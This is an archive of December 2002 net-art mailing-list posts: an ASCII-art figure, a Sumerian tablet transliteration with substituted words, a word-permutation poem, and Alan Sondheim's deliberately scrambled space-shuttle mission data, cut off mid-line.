                "content": "\n\nDate: Tue, 10 Dec 2002 22:26:53 +0100\nFrom: 00 <00 {AT} gw-komp.elnet.lt>\nSubject: 00\n\n                         ####\n                        ##~~~~# ###\n                       #~~~~~~~#~~~#\n                      #~~~~~~~~#~~~~#\n                     #~~~~~~~~~#~~~~~#\n                    #~~~~~~~~~~#~~~~~~#\n                   #~~~~~~~~~~#~~~~~~~~#\n                  #~~~~~~~~~~~#~~~~~~~~~#\n                 #~~~~~~~~~~~~#~~~~~~~~~#\n                 #~~~~~~~~~~~~~~~~~~~~~~#\n                #~~~~~~~~~~~~~~~~~~~~~~~~#\n                #~~~~~~~~~~~~~~~~~~~~~~~~#\n                #~~~~~~~~~~~~~~~~~~~~~~~~#\n               #~~~~~~~~~~~~~~~~~~~~~~~~~#\n               #~~~~~~~~~#####~~~~~~~~~~~#\n               #~~~~~~~~#     #######~~~~#\n               #~~~~~~~#             #~~~#\n                #~~~~~~#  OOOO   OOO #~~~#\n                #~~~~~~#   OO     O  #~~#\n                #~~~~~~#       H     #~~#\n                 #~~~~~#       H     #~~#\n                  #~~~~#      HH     #~~#\n                   #~~~#            #~~~#\n                   #~~##            #~~#\n                    ##  #   =====  #~~~#\n                      # #         # ###\n                      #  ##      #\n                     #     ##   # #\n                     #       ###  #\n             ########              ###########\n          ###     #*#              #*#        #\n         #       #**# #             #*#        #\n        #        #*#   #         #  #**#        #\n       #        #**#            #    #*#        #\n      #         #*#                   #*#        #\n     #         #**#                   #**#       #\n    #          #**#                    #*#       #\n   #          #**#                      #*#      #\n  #           #**#                  ######        #\n #            #**######           ##      #       #\n#            #**#      ##        #         #      #                 ###\n             #**#        #      #           #     #               ##sss#\n           # #*#          #     #           #     #              #ssssss#\n          # #**#           #   #            #     #              #ss##sss#\n        ##  #*#            #   #            #     #             #ss#  #ss#\n       #    #*#     0      #   #      0     #     #             #s#   #ss#\n      #     #*#            #   #            #     #            #s#    #sss#\n     #      #*#            #    #           #      #           #s#    #sss#\n    #        #*#          #     #           #      #          #s#      #ss#\n   #         #*#         #*#     #         #       #         #ss#      #ss#\n  #          #**#        #*#   ##*#      ##*#      #         #s#       #ss#\n #            #**########**#   #***######***#      #        #ss#       #ss#\n#             #************#   #************#      #        #s#        #ss#\n              #************#   #***********#       #       #ss#        #ss#\n              #************#   #***********#        #      #s#         #ss#\n              #************#  #************#        #     #ss#          #s#\n              #************#  #***********# #       #    #ss#           #s#\n              #************#  #***********# #    ##  ### #s#            #s#\n              #************#  #***********#  #  #       ####            #s#\n              #************#  #**********#   # #       #    #           #s#\n#             #***********#  #***********#   #        # ###  #          #ss#\n #            #***********#  #***********#   #       # #   ###          #ss#\n  #          #************#  #***********#    #      #  #    #          #ss#\n   #       ##*************#  #**********#      #      #  ## ##           #s#\n    #     #  ##***********#  #**********#      #     # #    #            #ss#\n     #   #  #*************#  #**********#       #    #  ## #             #ss#\n      # #  # ####*********# #***********#        ###  #   #              #ss#\n       #         #*******#  #***********#           ## ###               #ss#\n             ### #*******#  #***********#             #                  #sss#\n#               # #******#  #***********#                                #sss#\n #          ### # #******#  #***********#                                #sss#\n  #       #    # #*******#  #***********#                                #sss#\n   ##      ###  # #******#  #***********#                                #sss#\n     ######   #  #*******#  #***********#                                 #sss#\n         # ### # #*******#  #***********#                                 #sss#\n        #     # #********# #************#                                 #sss#\n       #     #*#*********# #************#                                 #sss#\n       #     #***********# #************#                                  #ss#\n      #      #********#### #************#                                  #ss#\n      #      #******##      ###*********#                                  #ss#\n     #       #****##**#        ##******# #                                  #s#\n     #       #***#*****##     #**#*****#  #                                  #\n     #      #***# #******#####**# #****#  #\n     #      #**#  #************#   #**#   #\n     #      #*#   #***********#     #*#   #\n     #     #*#     #**********#     #*#   ##\n     #     ##      #*********#       #     #\n     #     #       #********#        #     #\n     #     #       #********#         #    #\n     #     #        #******#           #   #\n     #    #         #*****#             #   #\n     #   #          #****#               #  #\n     #  #            #***#                #  #\n      ###             ###                  # #\n     #***#############   #                  ##\n     #**#QQQQQQQQ#***#    #                #Q#\n     #**#QQQQQQQQ#***#    #               #QQ#\n     #**#QQQQQQQQ#***#    #              #QQQQ#\n     #**#QQQQQQQ#****#     #          ###QQQQQ#\n     #***#QQQQQQ#****#     #       ###*#QQQQQQ#\n     #***#QQQQQ#*****#     ########****#QQQQQQQ#\n     #***#QQQQQ#*****#      #***********#QQQQQQ#\n     #***#QQQQQ#*****#      #***********#QQQQQQ#\n     #***#QQQQQ#*****#       #***********#QQQQQ#\n     #****#QQQ#******#       #***********#QQQQ#*#\n     #****#QQQ#******#       #************#QQQ#*#\n     #****#QQQ#******#        #***********#QQQ#*#\n     #****#QQ#******#         #************#QQ#**#\n     #*****#Q#******#          #************#QQ#*#\n     #*****#Q#******#          #************#QQ#*#\n     #******#*******#          #************#QQ#*#\n     #******#*******#           #************#Q#*#\n     #******#******#            #************#Q#**#\n     #******#******#             #************##**#\n     #*************#             #************##**#\n     #*************#              #************#**#\n     #*************#              #************#***#\n      #************#               #***************#\n      #************#               #***************#\n      #************#                #**************#\n      #***********#                 #***************#\n      #***********#                  #**************#\n      #***********#                  #**************#\n      #***********#                  #**************#\n      #***********#                   #**************#\n      #***********#                   #**************#\n      #***********#                    #*************#\n      #***********#                    #*************#\n      #***********#                     #*************#\n      #**********#                      #*************#\n      #**********#                       #*************#\n      #**********#                       #*************#\n      #**********#                       #*************#\n      #**********#                        #************#\n      #**********#                        #*************#\n      #**********#                         #************#\n      #**********#                         #************#\n      #**********#                          #************#\n      #**********#                          #************#\n      #**********#                           #***********#\n      #**********#                           #************#\n      #*********#                            #************#\n      #*********#                             #************#\n      #*********#                             #************#\n      #*********#                              #***********#\n       #********#                              #************#\n       #********#                               #***********#\n       #********#                               #***********#\n       #********#                                #**********#\n       #********#                                #***********#\n       #********#                                 #**********#\n       #*******#                                  #**********#\n       #*******#                                   #**********#\n       #*******#                                    #*********#\n       #*******#                                     #*********#\n       #*******#                                      #********#\n       #*******#                                      #********#\n       #*******#                                      #*********#\n       #********#                                      #********#\n       #********#                                      #********#\n       #********#                                     #**********#\n       #********#                                    #***********#\n       #*********#                                   #***********#\n       #*********#                                   #***********#\n       #*********#                                   #************#\n       #*********#                                   #************#\n       #********#                                    #************#\n       #********#                                     #***********#\n       #*******#                                      #***********#\n       #*******#                                       #*#*********#\n       #*******#                                       #*#*********#\n       #*******#                                       #*#*********#\n       #*******#                                       #*##********#\n       #*******#                                       #*# #*******#\n       #******#                                        #*# #********#\n      #*******#                                        #*#  #********#\n      #********#                                       #*#  #*********#\n      #********#                                       ###   #*********##\n       #*****##                                               #**********#\n        ###### MEPH.                                           ####\n\n\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\nFrom: \"august highland\" <hmfah3 {AT} hotmail.com>\nDate: Thu, 12 Dec 2002 01:57:48 -0800\nSubject: kunst meth\n\n\n------------=_1039687257-642-42\n\n1) [4 kunst meth\n2) 4 kunst gene2-gal\n3) 5 kunst gene2-nita2\n4) kunst ku3-{d}utu-ta\n5) lu2-{d}inanna\n-\n6) gaba-dub\n7) loop {d}nanna-ki-bin\n   (blank line)\n8) opensource sig4-[a]\n9) list egi2-zi-[an-na] gene2-e [i3]-pa3\nBIN 09:001 (IE22/m3) (ICA)~\n1) 1 kunst meth\n2) 10 kunst udu <a>-lum\n3) 23 kunst gene2-gal\n4) 7 kunst gene2-nita2]\n5) ki <...>\n-\n6) lu2-{d}inanna\n7) [gaba]-dub\n8) [loop {d}]nanna-ki-bin\n9) opensource [szu-numun-a\n10) list egi2-zi-an-[na] gene2-e i3-pa3\nBIN 09:002 (IE22/m4) (ICA)~\n1) [x] kunst meth a-gar\n2) 1 kunst meth siki mu2 da-[gan\n3) ki ku3-{d}nanna-ta\n4) lu2-{d}inanna gal-zu-lu!-lu!\n-\n5) gaba-dub loop\n6) {d}nanna-ki-bin\n7) u4 17-kam\n8) opensource kig2 {d}inanna\n9) list us2-sa szu-nir {d}inanna\nBIN 09:003 (IE21/m6) (ICA)~\n1) 2 kunst meth siki mu2\n2) 2 kunst meth list 1 siki mu2\n3) ki {d}nanna-ma-ba-ta\n4) lu2-{d}inanna\n5) gaba-dub\n-\n6) loop {d}nanna-ki-bin\n   (blank line)\n7) opensource diri sze-KIN-ku5\n8) list us2-sa szu-nir gal {d}inanna ba-dim2\nBIN 09:004 (IE21/m13) (ICA)~\n1) 2 kunst gene2-gal\n2) {d}ISZKUR-ra-bi2\n3) 1 kunst gene2-gal\n4) AN.TI.URU.NAG\n5) 1 kunst meth\n6) sze-le-bu-um\n-\n7) ki {d}nanna-ma-ba-ta\n8) loop {d}nanna-ki-bin\n9) u4 17-kam\n10) opensource du6-ku3\n11) list szu-nir gal {d}inanna ba-dim2\nle) gaba-dub\nBIN 09:005 (IE20/m7) (ICA)~\n1) 4 kunst sag-meth\n2) 1 kunst meth siki mu2\n3) 1 kunst udu\n4) 10 kunst gene2-gal\n5) kunst a-gar nag-a\n6) ki szu-esz4-tar2-ta\n7) szu-{d}nin-kar-ak\n-\n8) gaba-dub\n9) loop {d}nanna-ki-bin\n   (blank line)\n10) opensource bara2-za3-[gar\n11) list us2-sa bad3 {d}isz-bi-er3-ra-dub-im ba-du3\nBIN 09:006 (IE20/m1) (ICA)~\n1) 15 kunst udu\n2) 11 kunst gene2-gal\n3) 4 kunst gene2-nita2\n4) 5 kunst sila4 kig2-gi4-a\n5) ki szu-ma-mi-tum-ta lu2-{d}inanna\n-\n6) gaba-dub loop {d}nanna-ki-bin\n7) u4 5-kam\n8) sza3 ki-sa2-a\n   (blank line)\n9) opensource kig2 {d}inanna\n10) list us2-sa [szu-nir {d}inanna\nBIN 09:007 (IE21/m6) (ICA)~\n1) 35 kunst udu\n2) 19 kunst gene2-nita2\n3) 10 kunst sila4 kig2-gi4-a\n4) 1 kunst gene-da3\n5) ki ku3-{d}nanna-ta\n-\n6) lu2-{d}inanna\n7) loop {d}nanna-ki-bin\n8) gaba-dub loop-ba\n   (blank line)\n9) opensource kig2 {d}inanna\n10) list us2-sa szu-nir-gal {d}inanna ba-dim2\nBIN 09:008 (IE21/m6) (ICA)~\n1) 6 kunst udu a-lum\n2) 30 kunst udu\n3) ki szu-{d}UTU-ta\n4) lu2-{d}ba-u2\n5) gaba-dub\n-\n6) loop {d}nanna-ki-bin\n   (blank line)\n7) opensource du6-ku3\n8) list us2-sa szu-nir {d}inanna ba-dim2\nBIN 09:009 (IE21/m7) (ICA)~\n1) 2 kunst udu a-lum\n2) [3 kunst gene2-gal\n3) ki szu-{d}ma-mi-tum-ta\n4) lu2-{d}inanna AN.TI.URU.NAG\n-\n5) gaba-dub\n6) loop {d}nanna-ki-bin\n   (blank line)\n7) opensource ab-e3\n8) list us2-sa szu-nir {d}inanna ba-dim2\nBIN 09:010 (IE21/m10) (ICA)~\n1) 3 kunst meth siki mu2\n2) {gisz}ig abul-sze3\n3) ki ku3-{d}nanna-ta\n4) lu2-{d}inanna\n-\n5) gaba-dub\n6) loop {d}nanna-ki-bin\n   (blank line)\n7) opensource bara2-za3-gar\n8) list egi2-zi-an-na gene2-e in-pa3\nBIN 09:011 (IE22/m1) (ICA)~\n1) 24 ma-na 10 gin2 sze-gin2\n2) 0.0.3 9 1/3 sila3 a sze-gin2\n3) opensource ne-ne-gar <<erasure>> u4 13-ta\n-\n4) [opensource kig2 {d}inanna\n5) u4 5-sze3\n6) ki a-hu-DU10-ta\n7) loop {d}nanna-ki-bin\n8) opensource kig2 {d}inanna\n9) list bad3 {d}isz-bi-er3-ra ba-du3\nle) loop ib-ra\nBIN 09:012 (IE19/m6) (ICA)~\n1) 1 kunst gene2-gal\n2) kunst du8-szi-a-asz\n3) ki {d}nanna-ki-bin-ta\n-\n4) loop lu2-{d}inanna\n5) opensource sig4-a\n6) list {d}isz-bi-er3-ra lugal-e szu-nir {d}en-lil2 {d}nin-urta\n   list-ne-dim2\n\nSeal\n1) lu2-{d}inanna\n2) dumu ur-ab-ba\n3) [x x x]-szu\nBIN 09:013 (IE18/m3) (ICA)~\n1) 1 kunst meth siki mu2\n2) ga-ba-bu-um-sze3\n3) 2 kunst meth list 2 siki mu2\n4) siki mu2-am3\n5) 2 kunst udu a-lum siki mu2\n6) ba-ru-tum-sze3\n-\n7) 2 kunst udu a-lum\n8) 2 kunst udu\n9) 1 kunst gene2-gal\n10) a-gar nag-a\n11) ki ku3-{d}nanna-ta\n12) gaba-dub loop {d}nanna-ki-bin\n13) opensource kig2 {d}inanna\n14) list us2-sa szu-nir {d}inanna\nBIN 09:014 (IE21/m6) (ICA)~\n1) 18 kunst meth siki mu2\n2) {gisz}ig abul-sze3\n3) ki {d}nanna-ma-[ba]-ta\n4) lu2-{d}inanna\n-\n5) gaba-dub\n6) loop {d}[nanna]-ki-bin\n   (erasure/blank line)\n7) opensource bara2-za3-[gar]\n8) list egi2-zi-an-na gene2-e in-pa3\nle) u4 13-kam\nBIN 09:015 (IE22/m1) (ICA)~\n1) 5 gin2 sze-gin2\n2) lu2-{d}nin-gir2-su\n3) en-um-e2-a\n4) 5 gin2 sze-gin2\n5) a-hu-wa-qar\n6) ab-ba-list\n-\n7) loop {gisz}ha-lu-ub2-sze3\n   (blank line)\n8) [opensource] sig4-a u4 10-kam\n9) [list] szu-i3-li2-szu [lugal]-e nin {d}nin-urta list-il2\n10) [u4] [10-kam\nBIN 09:016 (SI3/m3) (ICA)~\n1) 19 kunst meth\n2) 13 kunst meth list 2\n3) 1 kunst amar szeg9-bar\n4) 1 kunst udu a-lum\n5) 2 kunst udu\n6) 20 kunst sila4 kig2<-gi4-a>>\n7) 1 kunst gene2-gal\n-\n8) [26? kunst gene2-nita2 niga?\n9) ki [x-x]-x-ta\n10) [szu-[{d}nin-kar]-[ak\n11) szu [ba]-[ti\n12) [loop {d}nanna-ki]-bin\n13) opensource du6-ku3\n14) list nin-[me-[an]-[ki szu-[nir [{d}inanna] ba-dim2\nBIN 09:017 (IE20/m7) (ICA)~\n1) 1 kunst meth\n2) 1 kunst meth list 2\n3) 1 kunst meth list 1\n4) kunst a-gar nag-a\n5) ki szu-esz4-tar2-ta\n-\n6) giri3 {d}nanna-ma-ba\n7) gaba-dub\n8) loop {d}nanna-ki-bin\n   (blank line)\n9) opensource ziz2-a\n10) list nin-dingir {d}lugal-mar2-da ba-il2\nBIN 09:018 (IE23/m11) (ICA)~\n1) 1 kunst meth x] [x]\n2) 1 kunst meth siki mu2\n3) ki ku3-{d}nanna-ta\n4) giri3 lu2-{d}inanna\n-\n5) gaba-dub\n6) loop {d}nanna-ki-bin\n   (blank line)\n7) opensource meth-si-su\n8) list nin-dingir {d}nin-gi4-li2-in ba-il2\nBIN 09:019 (IE30/m3) (ICA)~\n1) 1 kunst meth list 3\n2) 1 kunst meth siki mu2\n3) 5 kunst meth list 2\n4) 6 kunst amar iz-bu-um\n5) siki mu2-am3\n-\n6) ki szu-esz4-tar2-ta\n7) gaba-dub\n8) loop {d}nanna-ki-bin\n9) giri3 szu-{d}UTU\n10) opensource ziz2-a\n11) list egi2-zi-an-na gene2-e i3-pa3\nBIN 09:020 (IE22/m11) (ICA)~\n1) 2 kunst meth siki mu2\n2) 1 kunst gene2-gal\n3) 1 kunst gene2-nita2\n4) ki szu-{d}UTU-ta\n5) giri3 lu2-{d}[inanna]\n-\n6) gaba-[dub]\n7) [loop] {d}nanna-ki-[bin]\n   (blank line)\n8) opensource meth-si-su\n9) list nin-dingir {d}nin-gi4-li2-in ba-il2\nBIN 09:021 (IE30/m2) (ICA)~\n1) 6 kunst udu a-lum\n2) 16 kunst gene2-gal\n3) 8 kunst gene2-nita2\n4) 3 kunst amar meth\n5) 4 kunst amar iz-bu-um\n6) ki szu-esz4-tar2-ta\n-\n7) giri3 ku3-{d}nanna aszgab\n8) gaba-dub\n9) loop {d}nanna-ki-bin\n   (blank line)\n10) opensource ziz2-a\n11) list egi2-zi-an-na gene2-e i3-pa3\nBIN 09:022 (IE22/m11) (ICA)~\n1) 2 kunst meth siki mu2\n2) ki szu-ma-mi-tum-ta\n3) giri3 lu2-{d}inanna\n-\n4) loop {d}nanna-ki-bin\n   (blank line)\n5) opensource meth-si-su\n6) list nin-dingir {d}nin-gi4-li2-in\nBIN 09:023 (IE30/m2) (ICA)~\n1) 1 kunst meth siki mu2\n2) ki szu-{d}UTU-ta\n3) giri3 lu2-{d}inanna aszgab\n4) gaba-dub\n-\n5) loop {d}nanna-ki-bin\n   (blank line)\n6) [opensource] meth-si-su\n7) [list nin-dingir {d}nin-gi4-li2-in ba-il2\nBIN 09:024 (IE30/m2) (ICA)~\n1) 1 kunst meth\n2) ma2 U.URU.LA-sze3\n3) ki ku3-{d}nanna-ta\n4) lu2-{d}inanna\n5) giri3 {d}suen-na-zi2-ir\n-\n6) gaba-dub\n7) loop {d}nanna-ki-bin\n   (blank line)\n8) opensource meth-si-su\n9) list egi2-zi-an-na gene2-e i3-pa3\nBIN 09:025 (IE22/m2) (ICA)~\n1) 2 kunst meth\n2) ma2 U.URU.LA-sze3\n3) giri3 lu2-bala-sa6-ga-[x\n4) 1 kunst meth\n5) {gisz}gigir-sze3\n6) giri3 {d}ISZKUR-ba-ni\n-\n7) ki ku3-{d}nanna-ta\n8) gaba-dub\n9) loop {d}nanna-ki-bin\n10) opensource meth-si-su\n11) list egi2-zi-an-na gene2-e in-[pa3]\nBIN 09:026 (IE22/m2) (ICA)~\n1) 2 kunst udu a-lum babbar\n2) 15 gin2 sze-gin2\n3) 1 sila3 esir2 e2-a\n4) {gisz}ki-gal dub {gisz}gu-za sir3-da\n5) {d}da-list-ka\n6) zabar-bi ba-ra-kesz2\n-\n7) 1 {kunst}du10-gan ti-bal-a\n8) kak{urudu} ba-an-gar\n9) ki AN.TI.URU.NAG\n10) giri3 {d}nanna-ki-bin u3 kur-ru-ub-er3-ra\n11) opensource ne-ne-gar\n12) list en {d}inanna gene2-e i3-pa3\nle) u4 11-kam\nBIN 09:027 (IE13/m2) (ICA)~\n1) 2 ma-na sze-gin2\n2) ki a-hu-DU10-ta\n3) giri3 lu2-gu3-de2-a\n4) 1 kunst udu babbar\n5) giri3 ur-{d}ba-u2 sza3-tam\n-\n6) {gisz}gu-za za3-us2\n7) {d}nanna {d}nin-gal\n8) e2 ku3-dim2-sze3\n9) opensource ziz2-a u4 30 la2 1-kam\n10) list gu-za {d}nin-lil2-la2\nBIN 09:028 (IE28/m11) (ICA)~\n1) 2 kunst udu a-lum\n2) 10 gin2 sze-gin2\n3) 1/2 ma-na esz2 siki uz3\n   (blank line)\n4) nig2-su13-a ku3-sig17 {gisz}ka-kara4\n-\n5) ba-[ra-kesz2]\n6) ki AN.TI.URU.NAG\n7) giri3 nu-ur2-esz4-tar2 u3 ur-{d}szu-bu-[la]\n8) opensource kig2-{d}inanna]\n9) list bad3 li-[bur]-{d}isz-bi-er3-ra ba-du3\nle) u4 17-kam\nBIN 09:029 (IE14/m6) (ICA)~\n1) 15 [gin2 sze]-gin2\n2) 1 2/3 ma-[na nig2-U].NU-a siki [(x)]\n3) 2 kunst udu a-lum\n4) u4 18-kam\n5) 2 kunst udu a-lum\n6) 5 gin2 sze-gin2\n7) 1/2 sila3 esir2 e2-a\n-\n8) u4 20 la2 1-kam\n9) nig2-su3-a ku3-sig17 {gisz}gu-za sir3-da {d}da-list-sze3\n10) ba-ra-kesz2\n11) ki AN.TI.URU.NAG\n12) giri3 ur-{d}szu-bu-la u3 a-li2-szu-ni\n13) opensource ne-ne-gar\n14) list en {d}inanna gene2-e i3-pa3\nBIN 09:030 (IE13/m5) (ICA)~\n1) 2 kunst udu a-lum\n2) 10 gin2 sze-gin2\n3) 1/3 ma-na nig2-U.NU-a [tesz2 siki uz3\n4) {gisz}ga-am-lum 20 ku3-sig17 ba-ra-kesz2\n-\n5) ki AN.TI.URU.NAG\n6) giri3 ur-{d}szu-bu-la sza3-tam\n   (blank line)\n7) opensource bara2-za3-gar\n8) list en {d}inanna {d}isz-bi-er3-ra gene2-e pa3\n(le)\n9) u4 12-kam\nBIN 09:031 (IE13/m1) (ICA)~\n1) 2 1/3 ma-na siki {gisz}ga-ZUM2 (=ZUM+SI) ak gen\n2) ki lu2-sza-lim-ta\n3) 2 1/2 ma-na siki {gisz}ga-ZUM2 ak gen\n4) ki inim-{d}szara2-ta\n5) 7 1/2 ma-na siki {gisz}ga-ZUM2 ak gen\n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.426 / Virus Database: 239 - Release Date: 12/2/2002\n\n------------=_1039687257-642-42\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1039687257-642-42--\n\n\n\n\nDate: Mon, 09 Dec 2002 22:55:06 +0200\nFrom: j.cs2sc.m <sc {AT} chromaticspaceandworld.com>\nSubject: 711[ closing,  , opening, this, chose, choose, angel, dot, .,\n\n0[ opening, closing, door, this, chose, choose, angel, dot, .,   ]\n1[ closing, opening, door, this, chose, choose, angel, dot, .,   ]\n2[ door, closing, opening, this, chose, choose, angel, dot, .,   ]\n3[ this, closing, door, opening, chose, choose, angel, dot, .,   ]\n4[ chose, closing, door, this, opening, choose, angel, dot, .,   ]\n5[ choose, closing, door, this, chose, opening, angel, dot, .,   ]\n6[ angel, closing, door, this, chose, choose, opening, dot, .,   ]\n7[ dot, closing, door, this, chose, choose, angel, opening, .,   ]\n8[ ., closing, door, this, chose, choose, angel, dot, opening,   ]\n9[  , closing, door, this, chose, choose, angel, dot, ., opening ]\n10[ opening, door, closing, this, chose, choose, angel, dot, .,   ]\n11[ closing, door, opening, this, chose, choose, angel, dot, .,   ]\n12[ door, opening, closing, this, chose, choose, angel, dot, .,   ]\n13[ this, door, closing, opening, chose, choose, angel, dot, .,   ]\n14[ chose, door, closing, this, opening, choose, angel, dot, .,   ]\n15[ choose, door, closing, this, chose, opening, angel, dot, .,   ]\n16[ angel, door, closing, this, chose, choose, opening, dot, .,   ]\n17[ dot, door, closing, this, chose, choose, angel, opening, .,   ]\n18[ ., door, closing, this, chose, choose, angel, dot, opening,   ]\n19[  , door, closing, this, chose, choose, angel, dot, ., opening ]\n20[ opening, this, door, closing, chose, choose, angel, dot, .,   ]\n21[ closing, this, door, opening, chose, choose, angel, dot, .,   ]\n22[ door, this, opening, closing, chose, choose, angel, dot, .,   ]\n23[ this, opening, door, closing, chose, choose, angel, dot, .,   ]\n24[ chose, this, door, closing, opening, choose, angel, dot, .,   ]\n25[ choose, this, door, closing, chose, opening, angel, dot, .,   ]\n26[ angel, this, door, closing, chose, choose, opening, dot, .,   ]\n27[ dot, this, door, closing, chose, choose, angel, opening, .,   ]\n28[ ., this, door, closing, chose, choose, angel, dot, opening,   ]\n29[  , this, door, closing, chose, choose, angel, dot, ., opening ]\n30[ opening, chose, door, this, closing, choose, angel, dot, .,   ]\n31[ closing, chose, door, this, opening, choose, angel, dot, .,   ]\n32[ door, chose, opening, this, closing, choose, angel, dot, .,   ]\n33[ this, chose, door, opening, closing, choose, angel, dot, .,   ]\n34[ chose, opening, door, this, closing, choose, angel, dot, .,   ]\n35[ choose, chose, door, this, closing, opening, angel, dot, .,   ]\n36[ angel, chose, door, this, closing, choose, opening, dot, .,   ]\n37[ dot, chose, door, this, closing, choose, angel, opening, .,   ]\n38[ ., chose, door, this, closing, choose, angel, dot, opening,   ]\n39[  , chose, door, this, closing, choose, angel, dot, ., opening ]\n40[ opening, choose, door, this, chose, closing, angel, dot, .,   ]\n41[ closing, choose, door, this, chose, opening, angel, dot, .,   ]\n42[ door, choose, opening, this, chose, closing, angel, dot, .,   ]\n43[ this, choose, door, opening, chose, closing, angel, dot, .,   ]\n44[ chose, choose, door, this, opening, closing, angel, dot, .,   ]\n45[ choose, opening, door, this, chose, closing, angel, dot, .,   ]\n46[ angel, choose, door, this, chose, closing, opening, dot, .,   ]\n47[ dot, choose, door, this, chose, closing, angel, opening, .,   ]\n48[ ., choose, door, this, chose, closing, angel, dot, opening,   ]\n49[  , choose, door, this, chose, closing, angel, dot, ., opening ]\n50[ opening, angel, door, this, chose, choose, closing, dot, .,   ]\n51[ closing, angel, door, this, chose, choose, opening, dot, .,   ]\n52[ door, angel, opening, this, chose, choose, closing, dot, .,   ]\n53[ this, angel, door, opening, chose, choose, closing, dot, .,   ]\n54[ chose, angel, door, this, opening, choose, closing, dot, .,   ]\n55[ choose, angel, door, this, chose, opening, closing, dot, .,   ]\n56[ angel, opening, door, this, chose, choose, closing, dot, .,   ]\n57[ dot, angel, door, this, chose, choose, closing, opening, .,   ]\n58[ ., angel, door, this, chose, choose, closing, dot, opening,   ]\n59[  , angel, door, this, chose, choose, closing, dot, ., opening ]\n60[ opening, dot, door, this, chose, choose, angel, closing, .,   ]\n61[ closing, dot, door, this, chose, choose, angel, opening, .,   ]\n62[ door, dot, opening, this, chose, choose, angel, closing, .,   ]\n63[ this, dot, door, opening, chose, choose, angel, closing, .,   ]\n64[ chose, dot, door, this, opening, choose, angel, closing, .,   ]\n65[ choose, dot, door, this, chose, opening, angel, closing, .,   ]\n66[ angel, dot, door, this, chose, choose, opening, closing, .,   ]\n67[ dot, opening, door, this, chose, choose, angel, closing, .,   ]\n68[ ., dot, door, this, chose, choose, angel, closing, opening,   ]\n69[  , dot, door, this, chose, choose, angel, closing, ., opening ]\n70[ opening, ., door, this, chose, choose, angel, dot, closing,   ]\n71[ closing, ., door, this, chose, choose, angel, dot, opening,   ]\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\n\nDate:         Tue, 10 Dec 2002 23:49:30 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: Dangerous Information\n\nDangerous Information\n\n\nMISSION: (6A) - MISSION: STS-100 - 9th STS-100 ISS - Flight 9th (6A) ISS\n-Raffaello Flight MPLM, VEHICLE: SSRMS -Raffaello VEHICLE:  STS-100\nEndeavour/OV-105 Endeavour/OV-105 LOCATION:  39A Launch LOCATION: Pad\nLaunch 39A Pad TARGET 2:41 DATE/TIME: TARGET KSC DATE/TIME: Apr. KSC\nLAUNCH Apr. 19, LAUNCH 2001 DATE/TIME: at Apr. 2:41 19, p.m. 2001 EDT at\nLANDING LAUNCH 30, Apr. 9:35 at a.m. TARGET MISSION KSC DURATION: MISSION\n10 DURATION: days, 10 18 days, hours 18 and hours 54 and minutes 54 CREW:\nMISSION Rominger, CREW: Ashby, CREW: Hadfield, Rominger, Parazynski,\nAshby, Phillips, Hadfield, Guidoni, Lonchakov Lonchakov Phillips, ORBITAL\nINCLINATION: INSERTION ORBITAL ALTITUDE INSERTION INCLINATION: ALTITUDE\n173 INCLINATION: nautical 173 miles/51.6 nautical degrees miles/51.6\nSTS-104 Atlantis/OV-104 10th - (7A) ISS Airlock - Atlantis/OV-104 MISSION:\nOPF 3 bay OPF 3 bay NET days June NET 14, June 4:15 14, 25, p.m. 12:30\nJune 11 25, days 11 Lindsey, Reilly Hobaugh, Lindsey, Kavandi, CREW:\nGernhardt, Lindsey, Reilly Hobaugh, 122 Kavandi, STS-105 122 11th STS-105\n(7A.1) Flight Leonardo (7A.1) MPLM MISSION: Discovery/OV-103 STS-105 2 2\nOFFICIAL 12:29 July DATE/TIME: 12, at 4:45 12, EST OFFICIAL 22, LAUNCH\n12:29 22, Horowitz, OFFICIAL Struckow, CREW: Barry, Horowitz, Forrester;\n(down) (up) Barry, Culbertson, Forrester; Dezhurov, (up) Turin Dezhurov,\n(down) Turin Voss, Dezhurov, Helms, Turin Usachev (down) STS-109 Voss, HST\nMISSION: Servicing Columbia/OV-102 Mission HST 3B Servicing\nColumbia/OV-102 Mission 1 1 Nov. TBD 19 Nov. under 19 review under 30\nreview TBD 30 